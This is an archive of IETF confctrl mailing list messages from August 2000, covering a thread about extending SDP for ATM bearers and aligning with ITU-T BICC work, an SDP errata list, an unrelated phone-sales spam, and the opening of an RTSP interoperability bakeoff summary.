<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=600393611-07082000>I 
think that IETF and ITU-T approaches to the non-tunnelled bearer control case 
are slightly different, but amongst all the noise, we are both trying to solve 
the same problem of communicating these two information elements on the vertical 
interface, so we should at least study whether there is scope for an aligned 
solution.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000>Regards,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=600393611-07082000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=600393611-07082000>Mark 
Watson</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=600393611-07082000>Nortel 
Networks</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Leslie Graf 
  [mailto:Leslie.Graf@ericsson.com.au]<BR><B>Sent:</B> 07 August 2000 
  12:13<BR><B>To:</B> Watson, Mark [MAIFP:EP11-M:EXCH]<BR><B>Cc:</B> 'Rajesh 
  Kumar'; confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org; 'BICC 
  ITU-T SG11 (tsg11bicc@ties.itu.int)'<BR><B>Subject:</B> Re: Reminder//Status 
  of ATM SDP internet draft<BR><BR></DIV></FONT>Hi Mark, <BR>I am also very 
  interested in this for work I am involved in (nothingto do with BICC). However 
  what I am missing at the moment is seeing the significance of the ATM 
  additions to SDP to the work for BICC CS2. <BR>As you are aware of have 
  concerns on the timeframe in meeting our objectives for CS2 by the end of the 
  year. Could you please enlighten me with why this should be of any interest to 
  BICC CS2, is anyone planning for ATM BCP's using SDP for BICC environment? 
  <BR>This is the only item I can think of which would make it relevant. 
  <BR>Regards Leslie 
  <P>Mark Watson wrote: 
  <BLOCKQUOTE TYPE="CITE">&nbsp;<SPAN class=730003409-07082000><FONT 
    face=Arial><FONT color=#0000ff><FONT size=-1>Hi 
    Rajesh,</FONT></FONT></FONT></SPAN><SPAN 
    class=730003409-07082000></SPAN><SPAN class=730003409-07082000><FONT 
    face=Arial><FONT color=#0000ff><FONT size=-1>The ITU-T Study Group 11 BICC 
    group are meeting from 18 to 22nd September. It would be very useful if your 
    updated draft could be input into that meeting, so that we can study whether 
    or not it meets the Study Group 11 requirements, and if not whether there is 
    an easy way of getting alignment. Do you think the draft will be ready by 
    then ?</FONT></FONT></FONT></SPAN><SPAN 
    class=730003409-07082000></SPAN><SPAN class=730003409-07082000><FONT 
    face=Arial><FONT color=#0000ff><FONT 
    size=-1>Regards,</FONT></FONT></FONT></SPAN><SPAN 
    class=730003409-07082000></SPAN><SPAN class=730003409-07082000><FONT 
    face=Arial><FONT color=#0000ff><FONT size=-1>Mark 
    Watson</FONT></FONT></FONT></SPAN><SPAN class=730003409-07082000><FONT 
    face=Arial><FONT color=#0000ff><FONT size=-1>Nortel 
    Networks</FONT></FONT></FONT></SPAN> 
    <BLOCKQUOTE>
      <DIV class=OutlookMessageHeader dir=ltr><FONT face=Tahoma><FONT 
      size=-1>-----Original Message-----</FONT></FONT> <BR><FONT 
      face=Tahoma><FONT size=-1><B>From:</B> Rajesh Kumar [<A 
      href="mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</A>]</FONT></FONT> 
      <BR><FONT face=Tahoma><FONT size=-1><B>Sent:</B> 04 August 2000 
      18:36</FONT></FONT> <BR><FONT face=Tahoma><FONT size=-1><B>To:</B> Joerg 
      Ott</FONT></FONT> <BR><FONT face=Tahoma><FONT size=-1><B>Cc:</B> 
      mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com; 
      confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org</FONT></FONT> 
      <BR><FONT face=Tahoma><FONT size=-1><B>Subject:</B> Reminder//Status of 
      ATM SDP internet draft</FONT></FONT> <BR>&nbsp;</DIV>Hi Jeorg,At the end 
      of the MMUSIC session on Wednesday, you asked me to remind you to send me 
      the *comments* you have on draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please 
      do so. Your help in clearing all technical and logistic hurdles in moving 
      this internet draft to standards track is critical. Thanks for your help 
      and co-operation so far.FYI-- I have made careful notes of the comments 
      that were provided during my presentation at the IETF. I do not see any 
      problem in incorporating them into the next round of the internet draft, 
      which I hope to release in the mid-September time-frame.- I am expecting 
      further inputs from&nbsp; Sean Sheedy. FYI, Sean and I have met informally 
      before the MMUSIC meeting and talked after the meeting, and we are in 
      agreement in what needs to be done for MPEG support. Sean needs to confirm 
      certain things with his CTO, following which he will provide me with 
      detailed input via email.- I have found a few more inputs on the atmsdp 
      mailing list following my return, and I will address each and every one of 
      them.If we can get all this input sorted out in an internet draft to be 
      posted in mid-September, what do you think is the time-line for moving 
      this to standards track?Thanks 
      <P>- Rajesh Kumar <BR><FONT color=#800000><FONT 
      size=-1>+--------------------+</FONT></FONT> <BR><FONT color=#800000><FONT 
      size=-1>|Carrier Packet Voice|</FONT></FONT> <BR><FONT color=#800000><FONT 
      size=-1>|Cisco Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |</FONT></FONT> 
      <BR><FONT color=#800000><FONT size=-1>|San Jose, California|</FONT></FONT> 
      <BR><FONT color=#800000><FONT size=-1>+--------------------+</FONT></FONT> 
      <BR><FONT color=#800000><FONT size=-1>&nbsp; 
      rkumar@cisco.com</FONT></FONT> <BR><FONT color=#800000><FONT 
      size=-1>&nbsp; 408 527 0811</FONT></FONT><X-TAB></X-TAB> <BR>&nbsp; 
      <BR>&nbsp;</P></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C00064.4440F050--

From confctrl-owner  Mon Aug  7 05:57:15 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA05332
	for confctrl-outgoing; Mon, 7 Aug 2000 05:57:15 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA05327
	for <confctrl@zephyr.isi.edu>; Mon, 7 Aug 2000 05:57:14 -0700 (PDT)
Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id FAA07220
	for <confctrl@isi.edu>; Mon, 7 Aug 2000 05:58:17 -0700 (PDT)
From: andre.goldenstein@aral.net
Received: from [195.20.224.204] (helo=mrvdom00.kundenserver.de)
	by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2)
	id 13LmTv-0007HI-00
	for confctrl@isi.edu; Mon, 7 Aug 2000 14:58:15 +0200
Received: from p3e9eee0d.dip.t-dialin.net ([62.158.238.13] helo=10.0.1.1)
	by mrvdom00.kundenserver.de with smtp (Exim 2.12 #2)
	id 13LmTX-0000x1-00
	for confctrl@isi.edu; Mon, 7 Aug 2000 14:57:52 +0200
Subject: Offer  04.08.2000
To: confctrl@ISI.EDU
Date: 07 Aug 00 14:58:12 UT
Priority: normal
X-Priority: 3 (Normal)
Importance: normal
X-Mailer: David by Tobit Software, Germany (PM-5.20a (0153))
X-David-Sym: 0
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------1DD2510B41FE"
Message-Id: <E13LmTX-0000x1-00@mrvdom00.kundenserver.de>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------1DD2510B41FE
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable



[To be removed from this list read bottom of message]

Dear Sirs,

I would like to offer you the following on FOB Germany Basis:

Motorola 2700 Carphone                  500 pieces   DEM  469 

Nokia 3210 locked                       500 pieces   DEM  239
Nokia 6150 incl. PHF                    500 pieces   DEM  405
Siemens C35 incl PHF                    500 pieces   DEM  344
Alcatel OTE club                        100 pieces   DEM  103
Ericsson A1018, original                500 pieces   DEM  126

Siemens DECT-phones:
Gigaset 3010 classic blue               400 pieces   DEM  151
Gigaset 100 royalblue                   400 pieces   DEM  111 

All prices are FOB D=FCsseldorf/Germany
          
Best regards

Andre Goldenstein
Aral Mobilfunk Partner KMT GmbH
Tel +49 2102 8747252
Fax +49 2102 8747269
mobile +49 171 8255502


=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
If you have received this message in error, or wish not to be
included on future mailings please forward your e-mail address
of which we have sent this message to. If you receive this
message through another e-mail address we have no way of
removing you from our list unless you provide the original
e-mail address contained in the full header of the e-mail
message. If this information has been removed by your server(s)
we cannot control this and, again, have no way to remove your
e-mail address.  Simply reply to this message with "REMOVE" in
the subject line. We wish to fully comply with your wishes and
all applicable state and federal laws. Your cooperation and
patience in this matter are very much appreciated.   Thank You!
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

--------------1DD2510B41FE--


From confctrl-owner  Mon Aug  7 22:46:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id WAA22446
	for confctrl-outgoing; Mon, 7 Aug 2000 22:46:24 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id WAA22441
	for <confctrl@zephyr.isi.edu>; Mon, 7 Aug 2000 22:46:23 -0700 (PDT)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id WAA13843
	for <confctrl@isi.edu>; Mon, 7 Aug 2000 22:47:26 -0700 (PDT)
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with ESMTP id e785lIp19069;
	Tue, 8 Aug 2000 07:47:18 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20])
	by al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id HAA13714;
	Tue, 8 Aug 2000 07:47:17 +0200 (MET DST)
Received: from ericsson.com.au (7-155.epa.ericsson.se [146.11.7.155])
	by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id HAA14207;
	Tue, 8 Aug 2000 07:47:09 +0200 (MET DST)
Message-ID: <398F9EDC.C63A00B@ericsson.com.au>
Date: Tue, 08 Aug 2000 15:47:08 +1000
From: Leslie Graf <Leslie.Graf@ericsson.com.au>
Reply-To: Leslie.Graf@ericsson.com.au
Organization: Ericsson Australia
X-Mailer: Mozilla 4.74 [en] (Win98; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Mark Watson <mwatson@nortelnetworks.com>
CC: "'Rajesh Kumar'" <rkumar@cisco.com>, confctrl@ISI.EDU, atmsdp@eng.fore.com,
        msf-media@msforum.org,
        "'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'" <tsg11bicc@ties.itu.ch>
Subject: Re: Reminder//Status of ATM SDP internet draft
References: <61ABD11436FED21192440000F81F3E360304C188@nwcwi1a.europe.nortel.com>
Content-Type: multipart/alternative;
 boundary="------------93D321007A66AC1854ADC146"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------93D321007A66AC1854ADC146
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Mark,
I had a chat with Christian before answering this, as you took me quite
by suproze. I had never thought SDP was needed to be generated from the
CSU to the BCU. In CS1 in our supplements we passed down the codec type
and TMR, etc. I feel this is a transport technology independant way of
doing things and requires no additional standardisation in other forums.
This would be part of our package definition in the BICC group. I see no
reason why the CSU need know anything about SDP, could you please
clarify if I have missed something? The only use of SDP in the BICC
domain that I am familiar with is in the IP BCP running in the tunnel.
This is completely transparent to the CSU.
Could you explain to me what we gain by going to SDP generated from the
CSU rather than using the work we did in CS1?
Regards Leslie

Mark Watson wrote:

>  Leslie,Unless I have missed something, SDP is the way that
> Megaco/H.248 communicates a variety of parameters between MGC and MG,
> and this work is the IETFs approach to extending Megaco/H.248 to
> support ATM bearer types.We need a way of communicating the BIWF
> address and BNC ID from MG to MGC so that they can then be placed in
> the BAT ASE for the non-tunnelled Bearer Control case that we use with
> ATM. This draft provides such a capability (amongst many other things
> more relevant to the BMC interface than CBC).I think that IETF and
> ITU-T approaches to the non-tunnelled bearer control case are slightly
> different, but amongst all the noise, we are both trying to solve the
> same problem of communicating these two information elements on the
> vertical interface, so we should at least study whether there is scope
> for an aligned solution.Regards,Mark WatsonNortel Networks
>
>      -----Original Message-----
>      From: Leslie Graf [mailto:Leslie.Graf@ericsson.com.au]
>      Sent: 07 August 2000 12:13
>      To: Watson, Mark [MAIFP:EP11-M:EXCH]
>      Cc: 'Rajesh Kumar'; confctrl@isi.edu; atmsdp@eng.fore.com;
>      msf-media@msforum.org; 'BICC ITU-T SG11
>      (tsg11bicc@ties.itu.int)'
>      Subject: Re: Reminder//Status of ATM SDP internet draft
>
>      Hi Mark,
>      I am also very interested in this for work I am involved in
>      (nothingto do with BICC). However what I am missing at the
>      moment is seeing the significance of the ATM additions to
>      SDP to the work for BICC CS2.
>      As you are aware of have concerns on the timeframe in
>      meeting our objectives for CS2 by the end of the year. Could
>      you please enlighten me with why this should be of any
>      interest to BICC CS2, is anyone planning for ATM BCP's using
>      SDP for BICC environment?
>      This is the only item I can think of which would make it
>      relevant.
>      Regards Leslie
>
>      Mark Watson wrote:
>
>     > Hi Rajesh,The ITU-T Study Group 11 BICC group are meeting
>     > from 18 to 22nd September. It would be very useful if your
>     > updated draft could be input into that meeting, so that we
>     > can study whether or not it meets the Study Group 11
>     > requirements, and if not whether there is an easy way of
>     > getting alignment. Do you think the draft will be ready by
>     > then ?Regards,Mark WatsonNortel Networks
>     >
>     >      -----Original Message-----
>     >      From: Rajesh Kumar [mailto:rkumar@cisco.com]
>     >      Sent: 04 August 2000 18:36
>     >      To: Joerg Ott
>     >      Cc: mmostafa@cisco.com; bfoster@cisco.com;
>     >      Brian.Rosen@marconi.com; confctrl@isi.edu;
>     >      atmsdp@eng.fore.com; msf-media@msforum.org
>     >      Subject: Reminder//Status of ATM SDP internet
>     >      draft
>     >      Hi Jeorg,At the end of the MMUSIC session on
>     >      Wednesday, you asked me to remind you to send me
>     >      the *comments* you have on
>     >      draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please
>     >      do so. Your help in clearing all technical and
>     >      logistic hurdles in moving this internet draft
>     >      to standards track is critical. Thanks for your
>     >      help and co-operation so far.FYI-- I have made
>     >      careful notes of the comments that were provided
>     >      during my presentation at the IETF. I do not see
>     >      any problem in incorporating them into the next
>     >      round of the internet draft, which I hope to
>     >      release in the mid-September time-frame.- I am
>     >      expecting further inputs from  Sean Sheedy. FYI,
>     >      Sean and I have met informally before the MMUSIC
>     >      meeting and talked after the meeting, and we are
>     >      in agreement in what needs to be done for MPEG
>     >      support. Sean needs to confirm certain things
>     >      with his CTO, following which he will provide me
>     >      with detailed input via email.- I have found a
>     >      few more inputs on the atmsdp mailing list
>     >      following my return, and I will address each and
>     >      every one of them.If we can get all this input
>     >      sorted out in an internet draft to be posted in
>     >      mid-September, what do you think is the
>     >      time-line for moving this to standards
>     >      track?Thanks
>     >
>     >      - Rajesh Kumar
>     >      +--------------------+
>     >      |Carrier Packet Voice|
>     >      |Cisco Systems       |
>     >      |San Jose, California|
>     >      +--------------------+
>     >        rkumar@cisco.com
>     >        408 527 0811
>     >
>     >
>     >

--------------93D321007A66AC1854ADC146
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Hi Mark,
<br>I had a chat with Christian before answering this, as you took me quite
by suproze. I had never thought SDP was needed to be generated from the
CSU to the BCU. In CS1 in our supplements we passed down the codec type
and TMR, etc. I feel this is a transport technology independant way of
doing things and requires no additional standardisation in other forums.
This would be part of our package definition in the BICC group. I see no
reason why the CSU need know anything about SDP, could you please clarify
if I have missed something? The only use of SDP in the BICC domain that
I am familiar with is in the IP BCP running in the tunnel. This is completely
transparent to the CSU.
<br>Could you explain to me what we gain by going to SDP generated from
the CSU rather than using the work we did in CS1?
<br>Regards Leslie
<p>Mark Watson wrote:
<blockquote TYPE=CITE>&nbsp;<span 
class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Leslie,</font></font></font></span><span 
class=600393611-07082000></span><span class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Unless
I have missed something, SDP is the way that Megaco/H.248 communicates
a variety of parameters between MGC and MG, and this work is the IETFs
approach to extending Megaco/H.248 to support ATM bearer types.</font></font></font></span><span 
class=600393611-07082000></span><span class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>We
need a way of communicating the BIWF address and BNC ID from MG to MGC
so that they can then be placed in the BAT ASE for the non-tunnelled Bearer
Control case that we use with ATM. This draft provides such a capability
(amongst many other things more relevant to the BMC interface than CBC).</font></font></font></span><span 
class=600393611-07082000></span><span class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>I
think that IETF and ITU-T approaches to the non-tunnelled bearer control
case are slightly different, but amongst all the noise, we are both trying
to solve the same problem of communicating these two information elements
on the vertical interface, so we should at least study whether there is
scope for an aligned solution.</font></font></font></span><span 
class=600393611-07082000></span><span 
class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Regards,</font></font></font></span><span 
class=600393611-07082000></span><span class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Mark
Watson</font></font></font></span><span class=600393611-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Nortel
Networks</font></font></font></span>
<blockquote style="MARGIN-RIGHT: 0px">
<div class="OutlookMessageHeader" dir="ltr"><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> Leslie Graf [<A HREF="mailto:Leslie.Graf@ericsson.com.au">mailto:Leslie.Graf@ericsson.com.au</A>]</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> 07 August 2000 12:13</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> Watson, Mark [MAIFP:EP11-M:EXCH]</font></font>
<br><font face="Tahoma"><font size=-1><b>Cc:</b> 'Rajesh Kumar'; confctrl@isi.edu;
atmsdp@eng.fore.com; msf-media@msforum.org; 'BICC ITU-T SG11 (tsg11bicc@ties.itu.int)'</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Re: Reminder//Status
of ATM SDP internet draft</font></font>
<br>&nbsp;</div>
Hi Mark,
<br>I am also very interested in this for work I am involved in (nothingto
do with BICC). However what I am missing at the moment is seeing the significance
of the ATM additions to SDP to the work for BICC CS2.
<br>As you are aware of have concerns on the timeframe in meeting our objectives
for CS2 by the end of the year. Could you please enlighten me with why
this should be of any interest to BICC CS2, is anyone planning for ATM
BCP's using SDP for BICC environment?
<br>This is the only item I can think of which would make it relevant.
<br>Regards Leslie
<p>Mark Watson wrote:
<blockquote TYPE="CITE"><span class=730003409-07082000><font face="Arial"><font color="#0000FF"><font size=-1>Hi
Rajesh,</span><span 
    class=730003409-07082000></span><span class=730003409-07082000>The
ITU-T Study Group 11 BICC group are meeting from 18 to 22nd September.
It would be very useful if your updated draft could be input into that
meeting, so that we can study whether or not it meets the Study Group 11
requirements, and if not whether there is an easy way of getting alignment.
Do you think the draft will be ready by then ?</span><span 
    class=730003409-07082000></span><span class=730003409-07082000>Regards,</span><span 
    class=730003409-07082000></span><span class=730003409-07082000>Mark
Watson</span><span class=730003409-07082000>Nortel Networks</font></font></font></span>
<blockquote>
<div class=OutlookMessageHeader dir=ltr><font face="Tahoma"><font size=-1>-----Original
Message-----</font></font>
<br><font face="Tahoma"><font size=-1><b>From:</b> Rajesh Kumar [<a href="mailto:rkumar@cisco.com">mailto:rkumar@cisco.com</a>]</font></font>
<br><font face="Tahoma"><font size=-1><b>Sent:</b> 04 August 2000 18:36</font></font>
<br><font face="Tahoma"><font size=-1><b>To:</b> Joerg Ott</font></font>
<br><font face="Tahoma"><font size=-1><b>Cc:</b> mmostafa@cisco.com; bfoster@cisco.com;
Brian.Rosen@marconi.com; confctrl@isi.edu; atmsdp@eng.fore.com; msf-media@msforum.org</font></font>
<br><font face="Tahoma"><font size=-1><b>Subject:</b> Reminder//Status
of ATM SDP internet draft</font></font></div>
Hi Jeorg,At the end of the MMUSIC session on Wednesday, you asked me to
remind you to send me the *comments* you have on draft-rajeshkumar-mmusic-sdp-atm-02.txt.Please
do so. Your help in clearing all technical and logistic hurdles in moving
this internet draft to standards track is critical. Thanks for your help
and co-operation so far.FYI-- I have made careful notes of the comments
that were provided during my presentation at the IETF. I do not see any
problem in incorporating them into the next round of the internet draft,
which I hope to release in the mid-September time-frame.- I am expecting
further inputs from&nbsp; Sean Sheedy. FYI, Sean and I have met informally
before the MMUSIC meeting and talked after the meeting, and we are in agreement
in what needs to be done for MPEG support. Sean needs to confirm certain
things with his CTO, following which he will provide me with detailed input
via email.- I have found a few more inputs on the atmsdp mailing list following
my return, and I will address each and every one of them.If we can get
all this input sorted out in an internet draft to be posted in mid-September,
what do you think is the time-line for moving this to standards track?Thanks
<p>- Rajesh Kumar
<br><font color="#800000"><font size=-1>+--------------------+</font></font>
<br><font color="#800000"><font size=-1>|Carrier Packet Voice|</font></font>
<br><font color="#800000"><font size=-1>|Cisco Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</font></font>
<br><font color="#800000"><font size=-1>|San Jose, California|</font></font>
<br><font color="#800000"><font size=-1>+--------------------+</font></font>
<br><font color="#800000"><font size=-1>&nbsp; rkumar@cisco.com</font></font>
<br><font color="#800000"><font size=-1>&nbsp; 408 527 0811</font></font><X-TAB></X-TAB>
<br>&nbsp;
<br>&nbsp;</blockquote>
</blockquote>
</blockquote>
</blockquote>
</html>

--------------93D321007A66AC1854ADC146--


From confctrl-owner  Tue Aug  8 06:33:44 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA09401
	for confctrl-outgoing; Tue, 8 Aug 2000 06:33:44 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA09390
	for <confctrl@zephyr.isi.edu>; Tue, 8 Aug 2000 06:33:42 -0700 (PDT)
Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id GAA28621
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 06:34:46 -0700 (PDT)
Received: from mgw-i1.ntc.nokia.com (mgw-i1.ntc.nokia.com [131.228.118.60])
	by mgw-x1.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e78DYgk18430
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 16:34:42 +0300 (EET DST)
Received: from loki.research.nokia.com (loki.research.nokia.com [172.21.33.76])
	by mgw-i1.ntc.nokia.com (8.10.2/8.10.2/Nokia) with ESMTP id e78DYdV11756
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 16:34:39 +0300 (EET DST)
Received: from kurma.research.nokia.com (IDENT:root@kurma.research.nokia.com [172.21.40.103])
	by loki.research.nokia.com (8.9.3/8.9.3) with ESMTP id QAA13008
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 16:34:39 +0300 (EETDST)
Received: (from ppessi@localhost)
	by kurma.research.nokia.com (8.9.3/8.9.3) id PAA02345;
	Mon, 7 Aug 2000 15:01:25 +0300
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14734.42260.90922.293861@kurma.research.nokia.com>
Date: Mon, 7 Aug 2000 15:01:24 +0300 (EEST)
From: Pekka Pessi  <Pekka.Pessi@nokia.com>
X-Face: #V(jdpv[lI!TNUU=2*oh:="#suS*ponXW"yr6G;~L}<xZn_2^0)V{jqdc4y}@2b]ffd}SY#
 :9||1pew85O,WjiYA"6C7bW^zt^+.{b#B{lEE+4$9lrXL(55g}dU>uZ\JfD\"IG#G{j`hZI;=DmT\H
 pfDMyJ`i=:M;BM3R.`[>P^ER8+]i
To: confctrl@ISI.EDU
Subject: Minor SDP errors
X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid
Reply-To: <Pekka.Pessi@nokia.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


        Here is an SDP errata I found from some old sources.

                                        Pekka Pessi

RFC 2327 omissions and errors:

* "z=" omitted from zone-adjustments

* protocol on media-field is restricted to alpha-numeric,
  but example (RTP/AVP!) contains also "/"

* bwtype is restricted to alpha-numeric, but the RFC text discusses
  extensions like b=x-y:100 

* att-field is restricted to alpha-numeric, but the RFC text discusses
  extensions like a=x-nokia-foo

From confctrl-owner  Tue Aug  8 17:38:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA11763
	for confctrl-outgoing; Tue, 8 Aug 2000 17:38:47 -0700 (PDT)
Received: from nitro.isi.edu (nitro.isi.edu [128.9.208.207])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA11755
	for <confctrl@zephyr.isi.edu>; Tue, 8 Aug 2000 17:38:45 -0700 (PDT)
Received: from havoc.entera.com (havoc.entera.com [206.165.109.130])
	by nitro.isi.edu (8.9.3/8.9.3) with ESMTP id RAA11948
	for <confctrl@isi.edu>; Tue, 8 Aug 2000 17:39:50 -0700 (PDT)
Received: from savage.entera.com ([10.0.1.19]) by havoc.entera.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-61971U200L100S0V35)
          with ESMTP id com for <confctrl@isi.edu>;
          Tue, 8 Aug 2000 17:39:30 -0700
Received: from localhost
	([127.0.0.1] helo=entera.com ident=ronf)
	by savage.entera.com with esmtp (Exim 3.12 #1 (Debian))
	id 13MJtb-0000D8-00
	for <confctrl@isi.edu>; Tue, 08 Aug 2000 17:38:59 -0700
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
To: confctrl@ISI.EDU
Subject: RTSP Bakeoff issues
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Tue, 08 Aug 2000 17:38:59 -0700
From: ronf@entera.com (Ron Frederick)
Message-Id: <E13MJtb-0000D8-00@savage.entera.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On July 24th and 25th, there was an RTSP Interoperability "bakeoff" hosted
here at Entera in Fremont, CA. We had a total of about 27 attendees from
7 organizations: Apple, Cisco, Entera, Microsoft, Real, Sun, and the
University of Technology in Darmstadt. The goals were to test interoperability
among the various RTSP clients, proxies, and servers and to provide feedback
to the IETF about the RTSP spec to help it progress forward in the standards
process. I gave a presentation to the MMUSIC working group at the IETF in
Pittsburgh last week on some of the issues we discovered. There wasn't time
for a full discussion on all of them at the meeting, though, so I've written
up a summary below hoping to continue the discussion here... The issues below
were produced jointly by all the participants in the bakeoff, but they haven't
specifically seen this summary yet. Credit goes to the group as a whole, but
blame for any mistakes you find goes to me. :)

Comments on any and all of the issues below would be greatly appreciated. I
tried to list specific ideas that came up either during the bakeoff or during
the discussions at the MMUSIC session last week, but further work is required
on most of these points, particularly in figuring out how to make changes with
the least possible disruption to existing implementations...

1. When it is known, passing a real URL instead of "*" on an OPTIONS command
that's sent by a client can be useful when proxies are involved, as it lets
the proxy pass the options request through to the origin server and get the
real list of features supported by that server rather than replying with a
list of what _it_ supports. A suggestion was made that this should be pointed
out and explicitly encouraged in the spec.

2a. A question came up about whether servers need to support a SETUP on a URL
without a preceding DESCRIBE on a given control connection. This can come up
if the DESCRIBE was done earlier on some other connection or if the SDP
description was retrieved by some other out-of-band means. My personal
opinion is that servers should be strongly encouraged to always support
this and _not_ tie any state to a given underlying control connection. There
might be other reasons why the URLs returned in a DESCRIBE might become
stale and no longer work after some period of time, but that could happen
even when the DESCRIBE and SETUP happen on the same connection. In such a
case, a new DESCRIBE can be sent to get the updated information, but all of
this should be independent of which control connections are used. Other
opinions?

2b. Another question came up about whether servers were required to allow a
SETUP on only a subset of tracks in an aggregate object. I couldn't find
anything in the spec which discussed this, but I'd like to recommend that
this at least be a "SHOULD".

2c. Finally, there were questions about whether it was legal to allow SETUPs
for tracks from multiple different (possibly aggregate) objects in a single
session, such that they could be controlled together using a single PLAY
command. This seems like very useful functionality to me, but it raises
questions about what URL should be used in the PLAY command in that case and
there are some issues that come up between this and the proposals recently
discussed here in the RTSP extensions draft draft-sheedy-mmusic-rtsp-ext-01.
The proposal at the bakeoff was to allow a "*" in place of the URL in PLAY
when a Session was specified, with the meaning being to play all the tracks
that were SETUP in that session. However, if you want to support reuse of
a single session for multiple different sets of streams as was described in
the extensions draft, something more complicated is going to be required.
Further work is needed to reconcile all of these cases.

